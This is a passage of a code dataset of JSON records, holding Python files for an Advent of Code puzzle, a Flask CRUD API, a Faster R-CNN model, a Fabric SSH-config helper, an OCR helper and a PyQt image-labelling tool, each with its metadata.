if is_possible(state, new):\n                adjacent.append(new)\n    return adjacent\n\n\ndef idx(position):\n    return position[0] * width + position[1]\n\n\nn = elevation.shape[0] * elevation.shape[1]\nA = np.zeros((n, n), dtype=int)\n\nfor i in range(length):\n    for j in range(width):\n        adjacent = get_adjacent((i, j))\n        for a in adjacent:\n            A[idx((i, j)), idx(a)] = 1\n\nB = A.copy()\nA @ A\nAA = sparse.csr_matrix(A)\nBB = sparse.csr_matrix(B)\n\n## test solution works\n## Normal solution does not\n## why?\n## https://galaxyinferno.com/how-to-solve-advent-of-code-2022-day-12-with-python/\n\nsteps = 1\nwhile BB.toarray()[idx(start), idx(end)] == 0 and steps < 1000:\n    BB = BB @ AA\n    steps += 1\n    if steps % 50 == 0:\n        print(steps)\n\nsteps\n", "repo_name": "simon-hirsch/Advent-of-Code-2022", "sub_path": "day_12_solution.py", "file_name": "day_12_solution.py", "file_ext": "py", "file_size_in_byte": 2382, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.stack", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.argwhere", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.argwhere", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 78, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 88, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 88, "usage_type": "name"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 89, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 89, "usage_type": "name"}]}
{"seq_id": "42177515179", "text": "# do analysis on the layer\r\n\r\nfrom fileIterables import allFilesInRecurseByType, getNameFromPath\r\nfrom statistics import pstdev as stddev\r\nfrom statistics import mean\r\n\r\nLayer_DIR = \"layerSampleSet\"\r\nLFILE_TYPE = \"lyr\"\r\n\r\nclass Stats:\r\n    def __init__(self):\r\n        self.segments = 0\r\n        self.pointsMean = 0\r\n        self.pointsDev = 0\r\n\r\nstatsList = []\r\n#how many times is the most visited point visited?\r\nmostVisitedPointQty = 0\r\nmostVisitedPointPoint = (None, None)\r\nmostVisitedPointFile = \"\"\r\n\r\nfor filePath in allFilesInRecurseByType(Layer_DIR, LFILE_TYPE):\r\n    with open(filePath) as f:\r\n        stats = Stats()\r\n\r\n        segCounter = 0\r\n\r\n        uniquePoints = 0\r\n        pointsDict = {}\r\n\r\n        for line in f:\r\n            tokens = line.strip().split(\" \")\r\n\r\n            tokens_int = list(map(lambda x: round(float(x)*10000), tokens))\r\n\r\n            for t in tokens_int:\r\n                if t%10 != 0:\r\n                    print(tokens)\r\n                    raise ValueError(f\"need more rounding precision: {t} {filePath}\")\r\n\r\n            p1 = (tokens_int[0], tokens_int[1])\r\n            p2 = (tokens_int[2], tokens_int[3])\r\n\r\n            for p in [p1,p2]:\r\n                if p not in pointsDict:\r\n                    pointsDict[p] = 1\r\n                    uniquePoints += 1\r\n                else:\r\n                    pointsDict[p] += 1\r\n\r\n            segCounter += 1\r\n\r\n        for k in pointsDict:\r\n            if(pointsDict[k] > mostVisitedPointQty):\r\n                mostVisitedPointQty = pointsDict[k]\r\n                mostVisitedPointFile = filePath\r\n                mostVisitedPointPoint = k\r\n\r\n        stats.segments = segCounter\r\n        stats.pointsMean = mean(map(lambda x: pointsDict[x], pointsDict))\r\n        stats.pointsDev = stddev(map(lambda x: pointsDict[x], pointsDict))\r\n        statsList.append(stats)\r\n\r\nsegMean = mean(map(lambda x: x.segments, statsList))\r\nsegDev = stddev(map(lambda x: x.segments, statsList))\r\npointsMeanMean = mean(map(lambda x: x.pointsMean, statsList))\r\npointsMeanDev = stddev(map(lambda x: x.pointsMean, statsList))\r\npointsDevMean = mean(map(lambda x: x.pointsDev, statsList))\r\npointsDevDev = stddev(map(lambda x: x.pointsDev, statsList))\r\n\r\nprint(f\"SM : {segMean}\")\r\nprint(f\"SD : {segDev}\")\r\nprint(f\"PMM: {pointsMeanMean}\")\r\nprint(f\"PMD: {pointsMeanDev}\")\r\nprint(f\"PDM: {pointsDevMean}\")\r\nprint(f\"PDD: {pointsDevDev}\")\r\nprint(\"\")\r\nprint(f\"MVPQ: {mostVisitedPointQty}\")\r\nprint(f\"MVPP: {mostVisitedPointPoint}\")\r\nprint(f\"MVPF: {mostVisitedPointFile}\")", "repo_name": "Gautreaux/CSCE-491H", "sub_path": "pyLegacy/layerAnalysis.py", "file_name": "layerAnalysis.py", "file_ext": "py", "file_size_in_byte": 2518, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "fileIterables.allFilesInRecurseByType", "line_number": 22, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 60, "usage_type": "call"}, {"api_name": "statistics.pstdev", "line_number": 61, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 64, "usage_type": "call"}, {"api_name": "statistics.pstdev", "line_number": 65, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 66, "usage_type": "call"}, {"api_name": "statistics.pstdev", "line_number": 67, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 68, "usage_type": "call"}, {"api_name": "statistics.pstdev", "line_number": 69, "usage_type": "call"}]}
{"seq_id": "74240913189", "text": "import numpy as np\nimport cv2\nimport glob\nimport os\nimport PIL as Image\nimport os.path as osp\n\nfrom tqdm import tqdm\ncurrent_dir = os.getcwd()\nprint(\"path\", current_dir)\n# path= ''.join([current_dir, folder])\ncount = 1\nif __name__ == \"__main__\":\n    # path_an = sorted(glob.glob('/home/airlab/Desktop/New_training/01_Annotation/ANNOTATION/test/*.png'))\n    # path_im = sorted(glob.glob('/home/airlab/Desktop/New_training/01_Annotation/IMG/test/*.jpg'))\n    name = 'train'\n    path_im = sorted(glob.glob('C:\\\\Users\\\\ptthi\\\\OneDrive\\\\Desktop\\\\Image_processing\\\\DATA_PROCESS\\\\BACKGROUND\\\\*.png'))\n    print(\"path\", path_im)\n    # tao folder moi\n    if not os.path.exists(current_dir + '/' + \"{}_new\".format(name)):\n        os.makedirs(current_dir + '/' + '{}_new'.format(name))\n    for i,im in enumerate(path_im):\n        base_an = osp.splitext(osp.basename(im))[0]\n        print(\"name of image:\", i)\n        if i % 2 == 0:\n            print(\"True\")\n            file_im = cv2.imread(im)\n            cv2.imwrite(current_dir + '/' + '{}_new'.format(name) + '/' + '{}.jpg'.format(count),file_im)\n            count += 1\n        print(\"count\",count)\n\n\n", "repo_name": "ThinhPham24/PRACTICE_ON_COMPUTER_VISION", "sub_path": "WEEK5-ANNOTATION/background_txt.py", "file_name": "background_txt.py", "file_ext": "py", "file_size_in_byte": 1144, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.getcwd", "line_number": 9, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "17232166017", "text": "from fabric.api import *\nenv.hosts = ['servername']\n\ndef _annotate_hosts_with_ssh_config_info():\n    from os.path import expanduser\n    from paramiko.config import SSHConfig\n\n    def hostinfo(host, config):\n        hive = config.lookup(host)\n        if 'hostname' in hive:\n            host = hive['hostname']\n        if 'user' in hive:\n            host = '%s@%s' % (hive['user'], host)\n        if 'port' in hive:\n            host = '%s:%s' % (host, hive['port'])\n        return host\n\n    try:\n        config_file = file(expanduser('~/.ssh/config'))\n    except IOError:\n        pass\n    else:\n        config = SSHConfig()\n        config.parse(config_file)\n        keys = [config.lookup(host).get('identityfile', None)\n            for host in env.hosts]\n        env.key_filename = [expanduser(key) for key in keys if key is not None]\n        env.hosts = [hostinfo(host, config) for host in env.hosts]\n\n        for role, rolehosts in env.roledefs.items():\n            env.roledefs[role] = [hostinfo(host, config) for host in rolehosts]\n\n_annotate_hosts_with_ssh_config_info()", "repo_name": "yekeqiang/fabric_project", "sub_path": "learn/fabfile_ssh_config.py", "file_name": "fabfile_ssh_config.py", "file_ext": "py", "file_size_in_byte": 1072, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.expanduser", "line_number": 19, "usage_type": "call"}, {"api_name": "paramiko.config.SSHConfig", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 27, "usage_type": "call"}]}
{"seq_id": "26454884817", "text": "from flask import Flask, jsonify, request\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.db'\ndb = SQLAlchemy(app)\n\nclass User(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    firstname = db.Column(db.String(200), nullable=False)\n    lastname = db.Column(db.String(200), nullable=False)\n    email = db.Column(db.String(200), nullable=False)\n\n    def __repr__(self):\n        return '' % self.id\n\n# Create\n@app.route('/users', methods=['POST'])\ndef postUser():\n\n    user = User(firstname = request.json['firstname'], \n                  lastname = request.json['lastname'], \n                  email = request.json['email'])\n\n    db.session.add(user)\n    db.session.commit()\n\n    return jsonify({'id': user.id, 'firstname':user.firstname,'lastname':user.lastname, 'email': user.email}), 201\n\n# Read\n@app.route('/users/', methods=['GET'])\ndef getUserById(id):\n\n    user = User.query.get_or_404(id)\n\n    return jsonify({'id': user.id, 'firstname':user.firstname,'lastname':user.lastname, 'email': user.email})\n\n# Update\n@app.route('/users/', methods=['PUT'])\ndef putUser(id):\n\n    user = User.query.get_or_404(id)\n    user.firstname = request.json['firstname']\n    user.lastname = request.json['lastname']\n    user.email = request.json['email']\n    db.session.commit()\n    return jsonify({'id': user.id, 'firstname':user.firstname,'lastname':user.lastname, 'email': user.email})\n\n# Delete\n@app.route('/users/', methods=['DELETE'])\ndef deleteUser(id):\n\n    user = User.query.get_or_404(id)\n    db.session.delete(user)\n    db.session.commit()\n    return jsonify({'id': user.id, 'firstname':user.firstname,'lastname':user.lastname, 'email': user.email}), 200\n\n# Get All\n@app.route('/users', methods=['GET'])\ndef getUsers():\n    users = User.query.all()\n    all_users = [{'id': user.id, 'firstname':user.firstname,'lastname':user.lastname, 'email': user.email} for user in users]\n    return jsonify(all_users)\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)", "repo_name": "juancitowillyr46/rest-api-flask-basic", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2071, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 4, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 6, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 21, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 23, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 23, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 43, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 44, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 44, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 45, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 45, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 47, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 56, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 63, "usage_type": "call"}]}
{"seq_id": "18121679263", "text": "import torch\nimport torch.nn as nn\nfrom nets.vgg16 import decom_vgg16\nfrom nets.resnet50 import resnet50\nfrom nets.rpn import RegionProposalNetwork\nfrom nets.classifier import VGG16RoIHead,Resnet50RoIHead\nimport time \nimport numpy as np\nclass FasterRCNN(nn.Module):\n    def __init__(self, num_classes, \n                mode = \"training\",\n                loc_normalize_mean = (0., 0., 0., 0.),\n                loc_normalize_std = (0.1, 0.1, 0.2, 0.2),\n                feat_stride = 16,\n                anchor_scales = [8, 16, 32],\n                ratios = [0.5, 1, 2],\n                backbone = 'vgg'\n    ):\n        super(FasterRCNN, self).__init__()\n    \n        self.loc_normalize_mean = loc_normalize_mean\n        self.loc_normalize_std = loc_normalize_std\n        self.feat_stride = feat_stride\n        if backbone == 'vgg':\n            self.extractor, classifier = decom_vgg16()\n            self.rpn = RegionProposalNetwork(\n                512, 512,\n                ratios=ratios,\n                anchor_scales=anchor_scales,\n                feat_stride=self.feat_stride,\n                mode = mode\n            )\n            self.head = VGG16RoIHead(\n                n_class=num_classes + 1,\n                roi_size=7,\n                spatial_scale=(1. / self.feat_stride),\n                classifier=classifier\n            )\n        elif backbone == 'resnet50':\n            self.extractor, classifier = resnet50()\n\n            self.rpn = RegionProposalNetwork(\n                1024, 512,\n                ratios=ratios,\n                anchor_scales=anchor_scales,\n                feat_stride=self.feat_stride,\n                mode = mode\n            )\n            self.head = Resnet50RoIHead(\n                n_class=num_classes + 1,\n                roi_size=14,\n                spatial_scale=(1. / self.feat_stride),\n                classifier=classifier\n            )\n    def forward(self, x, scale=1.):\n        img_size = x.shape[2:]\n        h = self.extractor(x)\n\n        rpn_locs, rpn_scores, rois, roi_indices, anchor = \\\n            self.rpn.forward(h, img_size, scale)\n            \n        # print(np.shape(h))\n        # print(np.shape(rois))\n        # print(roi_indices)\n        roi_cls_locs, roi_scores = self.head.forward(h, rois, roi_indices)\n        return roi_cls_locs, roi_scores, rois, roi_indices\n\n    def freeze_bn(self):\n        for m in self.modules():\n            if isinstance(m, nn.BatchNorm2d):\n                m.eval()", "repo_name": "YhQIAO/LandSlide_Detection_Faster-RCNN", "sub_path": "nets/frcnn.py", "file_name": "frcnn.py", "file_ext": "py", "file_size_in_byte": 2452, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 33, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.nn.Module", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "nets.vgg16.decom_vgg16", "line_number": 25, "usage_type": "call"}, {"api_name": "nets.rpn.RegionProposalNetwork", "line_number": 26, "usage_type": "call"}, {"api_name": "nets.classifier.VGG16RoIHead", "line_number": 33, "usage_type": "call"}, {"api_name": "nets.resnet50.resnet50", "line_number": 40, "usage_type": "call"}, {"api_name": "nets.rpn.RegionProposalNetwork", "line_number": 42, "usage_type": "call"}, {"api_name": "nets.classifier.Resnet50RoIHead", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 70, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "name"}]}
{"seq_id": "73235965028", "text": "import io\nfrom google.oauth2 import service_account\nfrom google.cloud import vision\nfrom CREDENTIALS import VISION_KEY_PATH\n\ncredentials = service_account.Credentials.from_service_account_file(\n    VISION_KEY_PATH)\n\nclient = vision.ImageAnnotatorClient(credentials=credentials)\n\ndef read_image(filepath):\n    with io.open(filepath, 'rb') as image_file:\n        content = image_file.read()\n    image = vision.types.Image(content=content)\n    response = client.document_text_detection(image=image)\n    document = response.full_text_annotation.text\n    \n    if document == '':\n        return \"Oops, I didn't seem to find anything. Please try again.\"\n    else:\n        return document\n", "repo_name": "gabrieltanhl/OCR-Telegram-Bot", "sub_path": "visionocr.py", "file_name": "visionocr.py", "file_ext": "py", "file_size_in_byte": 681, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "71", "api": [{"api_name": "google.oauth2.service_account.Credentials.from_service_account_file", "line_number": 6, "usage_type": "call"}, {"api_name": "CREDENTIALS.VISION_KEY_PATH", "line_number": 7, "usage_type": "argument"}, {"api_name": "google.oauth2.service_account.Credentials", "line_number": 6, "usage_type": "attribute"}, {"api_name": "google.oauth2.service_account", "line_number": 6, "usage_type": "name"}, {"api_name": "google.cloud.vision.ImageAnnotatorClient", "line_number": 9, "usage_type": "call"}, {"api_name": "google.cloud.vision", "line_number": 9, "usage_type": "name"}, {"api_name": "io.open", "line_number": 12, "usage_type": "call"}, {"api_name": "google.cloud.vision.types.Image", "line_number": 14, "usage_type": "call"}, {"api_name": "google.cloud.vision.types", "line_number": 14, "usage_type": "attribute"}, {"api_name": "google.cloud.vision", "line_number": 14, "usage_type": "name"}]}
{"seq_id": "28356227929", "text": "from PyQt5.QtWidgets import QMainWindow, QApplication, QFileDialog, QMessageBox, QLabel, QDialog\nfrom PyQt5 import uic\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import QRect, Qt, QPoint\nimport os, glob, cv2, sys\n\nform_class = uic.loadUiType(\"Image_loader2.ui\")[0]\n\n\nclass Label_Dialog(QDialog):\n    def __init__(self, parent):\n        super(Label_Dialog, self).__init__(parent)\n        uic.loadUi('/Users/picardy/PycharmProjects/pythonProject/Label.ui', self)\n        self.Green.setStyleSheet('background-color: #7cfc00')\n        self.Yellow.setStyleSheet('background-color: yellow')\n        self.Blue.setStyleSheet('background-color: #0066ff')\n        self.parent = parent\n        self.show()\n        self.Green.clicked.connect(parent.greenColor)\n        self.Yellow.clicked.connect(parent.yellowColor)\n        self.Blue.clicked.connect(parent.blueColor)\n        self.Green_line.textChanged.connect(self.func_G)\n        self.Yellow_line.textChanged.connect(self.func_Y)\n        self.Blue_line.textChanged.connect(self.func_B)\n        self.Path_line.textChanged.connect(self.labelPath)\n        self.toolButton.clicked.connect(self.path)\n\n    def path(self):\n        dir_path = QFileDialog.getExistingDirectory(self, 'open')\n        for file in dir_path:\n            exist = self.Path_line.text()\n            self.Path_line.setText(exist + file)\n        print(dir_path)\n\n    def func_G(self):\n        self.parent.Label_G = self.Green_line.text()\n\n    def func_Y(self):\n        self.parent.Label_Y = self.Yellow_line.text()\n\n    def func_B(self):\n        self.parent.Label_B = self.Blue_line.text()\n\n    def labelPath(self):\n        self.parent.path = self.Path_line.text()\n\nclass ViewerClass(QMainWindow, form_class):\n    def __init__(self, parent=None):\n        super().__init__()\n        self.setupUi(self)\n        self.qPixmapVar = QPixmap()\n        self.Image_label = QLabel()\n        self.actionFile.triggered.connect(self.fileSelect)\n        self.actionDirectory.triggered.connect(self.folderSelect)\n        self.NextButton.clicked.connect(self.NextClick)\n        self.PreviousButton.clicked.connect(self.PreviousClick)\n        self.actionClose.triggered.connect(self.close)\n        self.actionOpen_Tool.triggered.connect(self.openTool)\n\n        self.idx = 0\n        self.flag = 0\n        self.start, self.end = QPoint(), QPoint()\n        self.Label_G = ()\n        self.Label_Y = ()\n        self.Label_B = ()\n        self.path = ()\n        self.image = None\n\n    # def imageSave(self):\n    #     filename = QFileDialog.getSaveFileName(filter=\"JPG(*.jpg);;PNG(*.png);;TIFF(*.tiff);;BMP(*.bmp)\")[0]\n    #     cv2.imwrite(filename, self.image)\n\n    def fileSelect(self):\n        filename = QFileDialog.getOpenFileName(self, 'open', '/Users/picardy/Downloads/Seungkyu/copied/')[0]\n        if filename:\n            self.image = cv2.imread(filename)\n            self.dir_h, self.dir_w, channel = self.image.shape\n            self.qPixmapVar.load(filename)\n            self.Image_label.setPixmap(self.qPixmapVar)\n            QMainWindow.resize(self, self.dir_w, self.dir_h)\n            print(self.dir_w, self.dir_h)\n\n            # folderName = self.image\n            self.name = filename[filename.rfind(\"/\"): - 4]\n            self.savename = str(self.path) + str(self.name) + '.txt'\n            try:\n                if str(self.path) == self.savename:\n                    print(self.savename)\n                    self.write = open(self.savename, 'w', encoding='utf8')\n                else:\n                    os.mkdir(str(self.path))\n                    self.savename = str(self.path) + str(self.name) + '.txt'\n                    self.write = open(self.savename, 'w', encoding='utf8')\n            except:\n                self.Path_error()\n\n    def folderSelect(self):\n        dirName = QFileDialog.getExistingDirectory(self, 'open', '/Users/picardy/Downloads/Seungkyu/copied/')\n        self.files = []\n        if dirName:\n            for file in glob.glob(os.path.join(dirName, '*.png')):\n                self.files.append(file)\n            for file in glob.glob(os.path.join(dirName, '*.jpg')):\n                self.files.append(file)\n            self.image = cv2.imread(self.files[self.idx])\n            self.dir_h, self.dir_w, channel = self.image.shape\n            self.qPixmapVar.load(self.files[0])\n            self.Image_label.setPixmap(self.qPixmapVar)\n            QMainWindow.resize(self, self.dir_w, self.dir_h)\n\n            folderName = self.files[self.idx]\n            self.name = folderName[folderName.rfind(\"/\"): - 4]\n            self.savename = str(self.path) + str(self.name) + '.txt'\n            try:\n                if str(self.path) == self.savename:\n                    print(self.savename)\n                    self.write = open(self.savename, 'w', encoding='utf8')\n                else:\n                    os.mkdir(str(self.path))\n                    self.savename = str(self.path) + str(self.name) + '.txt'\n                    self.write = open(self.savename, 'w', encoding='utf8')\n            except:\n                self.Path_error()\n\n    def NextClick(self):\n        try:\n            if self.idx < len(self.files):\n                self.idx += 1\n                self.qPixmapVar.load(self.files[self.idx])\n                self.Image_label.setPixmap(self.qPixmapVar)\n                self.cv_file = cv2.imread(self.files[self.idx])\n                self.dir_h, self.dir_w, channel = self.cv_file.shape\n                QMainWindow.resize(self, self.dir_w, self.dir_h)\n\n                folderName = self.files[self.idx]\n                self.name = folderName[folderName.rfind(\"/\"): - 4]\n                self.savename = str(self.path) + str(self.name) + '.txt'\n                self.write = open(self.savename, 'w', encoding='utf8')\n                # print(self.idx)\n                print(self.dir_w, self.dir_h)\n\n        except IndexError:\n            self.endOfimage()\n            self.idx -= 1\n        except AttributeError:\n            self.endOfimage()\n            self.idx -= 1\n\n    def endOfimage(self):\n        msg = QMessageBox()\n        msg.setWindowTitle('Error!')\n        msg.setIcon(QMessageBox.Warning)\n        msg.setText('마지막 이미지 입니다.')\n        msg.setStandardButtons(QMessageBox.Ok)\n        result = msg.exec_()\n\n    def PreviousClick(self):\n        if self.idx > 0:\n            self.idx -= 1\n            self.qPixmapVar.load(self.files[self.idx])\n            self.Image_label.setPixmap(self.qPixmapVar)\n            self.cv_file = cv2.imread(self.files[self.idx])\n            self.dir_h, self.dir_w, channel = self.cv_file.shape\n            QMainWindow.resize(self, self.dir_w, self.dir_h)\n            folderName = self.files[self.idx]\n            self.name = folderName[folderName.rfind(\"/\"): - 4]\n            self.savename = str(self.path) + str(self.name) + '.txt'\n            self.write = open(self.savename, 'w', encoding='utf8')\n            # print(self.idx)\n            print(self.dir_w, self.dir_h)\n        else:\n            self.firstImage()\n\n    def firstImage(self):\n        msg = QMessageBox()\n        msg.setWindowTitle('Error!')\n        msg.setIcon(QMessageBox.Warning)\n        msg.setText('첫 번째 이미지 입니다.')\n        msg.setStandardButtons(QMessageBox.Ok)\n        result = msg.exec_()\n\n# mouse Draw Event\n\n    def paintEvent(self, event):\n        painter = QPainter(self)\n        painter.drawPixmap(QPoint(), self.qPixmapVar)\n\n        if not self.start.isNull() and not self.end.isNull():\n            rect = QRect(self.start, self.end)\n            painter.setPen(QPen(Qt.red, 2, Qt.SolidLine))\n            painter.drawRect(rect.normalized())\n\n    def mousePressEvent(self, event):\n        if event.buttons() & Qt.LeftButton:\n            self.start = event.pos()\n            self.end = self.start\n            self.update()\n\n    def mouseMoveEvent(self, event):\n        if event.buttons() & Qt.LeftButton:\n            self.end = event.pos()\n            self.update()\n\n    def mouseReleaseEvent(self, event):\n        if not event.buttons() & Qt.LeftButton:\n            if self.flag == 0:\n                rect = QRect(self.start, self.end)\n                painter = QPainter(self.qPixmapVar)\n                painter.setPen(QPen(Qt.green, 2, Qt.SolidLine))\n                painter.drawRect(rect.normalized())\n                self.fileName()\n                print('x0, y0 =', self.start.x(), self.start.y())\n                print('x1, y1 =', self.end.x(), self.end.y())\n                self.start, self.end = QPoint(), QPoint()\n                self.update()\n            elif self.flag == 1:\n                rect = QRect(self.start, self.end)\n                painter = QPainter(self.qPixmapVar)\n                painter.setPen(QPen(Qt.yellow, 2, Qt.SolidLine))\n                painter.drawRect(rect.normalized())\n                self.fileName()\n                print('x0, y0 =', self.start.x(), self.start.y())\n                print('x1, y1 =', self.end.x(), self.end.y())\n                self.start, self.end = QPoint(), QPoint()\n                self.update()\n            elif self.flag == 2:\n                rect = QRect(self.start, self.end)\n                painter = QPainter(self.qPixmapVar)\n                painter.setPen(QPen(Qt.blue, 2, Qt.SolidLine))\n                painter.drawRect(rect.normalized())\n                self.fileName()\n                print('x0, y0 =', self.start.x(), self.start.y())\n                print('x1, y1 =', self.end.x(), self.end.y())\n                self.start, self.end = QPoint(), QPoint()\n                self.update()\n\n    def fileName(self):\n        # folderName = self.files[self.idx]\n        # self.name = folderName[folderName.rfind(\"/\"): - 4]\n        # self.savename = str(self.path) + str(self.name) + '.txt'\n        # if self.flag == 0:\n        #     with open(self.savename, 'w', encoding='utf8') as self.write:\n        if self.flag == 0:\n            self.write.write('{4} 0 0 0 {0} {1} {2} {3} 0 0 0 0 0 0 0\\n'\n                             .format(self.start.x(), self.start.y(), self.end.x(), self.end.y(), self.Label_G))\n\n        if self.flag == 1:\n            self.write.write('{4} 0 0 0 {0} {1} {2} {3} 0 0 0 0 0 0 0\\n'\n                             .format(self.start.x(), self.start.y(), self.end.x(), self.end.y(), self.Label_Y))\n\n        if self.flag == 2:\n            self.write.write('{4} 0 0 0 {0} {1} {2} {3} 0 0 0 0 0 0 0\\n'\n                             .format(self.start.x(), self.start.y(), self.end.x(), self.end.y(), self.Label_B))\n\n    def Path_error(self):\n        msg = QMessageBox()\n        msg.setWindowTitle('Error!')\n        msg.setIcon(QMessageBox.Warning)\n        msg.setText('Label 경로를 설정하세요')\n        msg.setStandardButtons(QMessageBox.Ok)\n        msg.buttonClicked.connect(self.msg_Button)\n        result = msg.exec_()\n\n    def msg_Button(self):\n        self.close()\n\n    def openTool(self):\n        Label_Dialog(self)\n\n#change_Color\n\n    def greenColor(self):\n        self.flag = 0\n        self.update()\n        print(self.flag)\n\n    def yellowColor(self):\n        self.flag = 1\n        self.update()\n        print(self.flag)\n\n    def blueColor(self):\n        self.flag = 2\n        self.update()\n        print(self.flag)\n\n\napp = QApplication(sys.argv)\nmyWindow = ViewerClass(None)\nmyWindow.show()\napp.exec_()\n\n", "repo_name": "picardyee/PtQt_Project", "sub_path": "ImageLoadProject_TestTest.py", "file_name": "ImageLoadProject_TestTest.py", "file_ext": "py", "file_size_in_byte": 11283, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "PyQt5.uic.loadUiType", "line_number": 7, "usage_type": "call"}, {"api_name": "PyQt5.uic", "line_number": 7, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 10, "usage_type": "name"}, {"api_name": "PyQt5.uic.loadUi", "line_number": 13, "usage_type": "call"}, {"api_name": "PyQt5.uic", "line_number": 13, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 29, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 29, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 47, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 52, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QPoint", "line_number": 62, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 74, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 74, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 76, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow.resize", "line_number": 80, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 80, "usage_type": "name"}, {"api_name": "os.mkdir", "line_number": 91, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 98, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 98, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 105, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow.resize", "line_number": 109, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 109, "usage_type": "name"}, {"api_name": "os.mkdir", "line_number": 119, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 131, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow.resize", "line_number": 133, "usage_type": "call"}, {"api_name": 